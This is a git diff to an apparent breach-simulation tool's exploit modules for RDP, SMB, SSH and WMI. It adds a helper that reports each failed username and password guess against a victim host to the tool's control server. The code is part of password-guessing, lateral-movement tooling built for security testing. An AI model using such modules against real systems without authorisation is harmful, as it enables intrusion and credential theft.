diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index abc9afe7b..0685ffd59 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -13,7 +13,7 @@ from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from model.host import VictimHost from network.tools import check_port_tcp from exploit.tools import get_target_monkey -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -295,6 +295,9 @@ class RdpExploiter(HostExploiter): exploited = True host.learn_credentials(self._config.psexec_user, password) break + else: + #failed exploiting with this user/pass + report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: LOG.debug("Error logging into victim %r with user" diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index e4e33a0d9..616a2a195 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -6,7 +6,7 @@ from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey from network import SMBFinger -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login try: from impacket import smb @@ -88,9 +88,12 @@ class SmbExploiter(HostExploiter): host.learn_credentials(self._config.psexec_user, password) exploited = True break + else: + #failed exploiting with this user/pass + report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: - LOG.debug("Error logging into victim %r with user" + LOG.debug("Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, self._config.psexec_user, password, exc) continue diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index c299062af..fdd9fee51 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -3,7 +3,7 @@ import logging import time from itertools import product import monkeyfs -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login from exploit import HostExploiter from model import MONKEY_ARG from exploit.tools import get_target_monkey @@ -72,6 +72,7 @@ class SSHExploiter(HostExploiter): LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, user, curpass, exc) + report_failed_login(self,host,user,curpass) continue if not exploited: diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 7654abb30..11b55e46d 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -415,3 +415,10 @@ def build_monkey_commandline(target_host, depth): cmdline += " -d %d" % depth return cmdline + + +def report_failed_login(exploiter, machine, user, password): + from control import ControlClient + ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, + 'exploiter': exploiter.__class__.__name__, + 'user':user,'password':password}) \ No newline at end of file diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 86a34e5c5..30c281c12 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -6,7 +6,8 @@ from tools import build_monkey_commandline from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model.host import VictimHost from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey +from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login +from impacket.dcerpc.v5.rpcrt import DCERPCException LOG = logging.getLogger(__name__) @@ -49,6 +50,11 @@ class WmiExploiter(HostExploiter): LOG.debug("Failed connecting to %r using WMI with password '%s'", host, password) continue + except DCERPCException, exc: + report_failed_login(self, host, self._config.psexec_user, password) + LOG.debug("Failed connecting to %r using WMI with password '%s'", + host, password) + continue except socket.error, exc: LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", host, password, exc)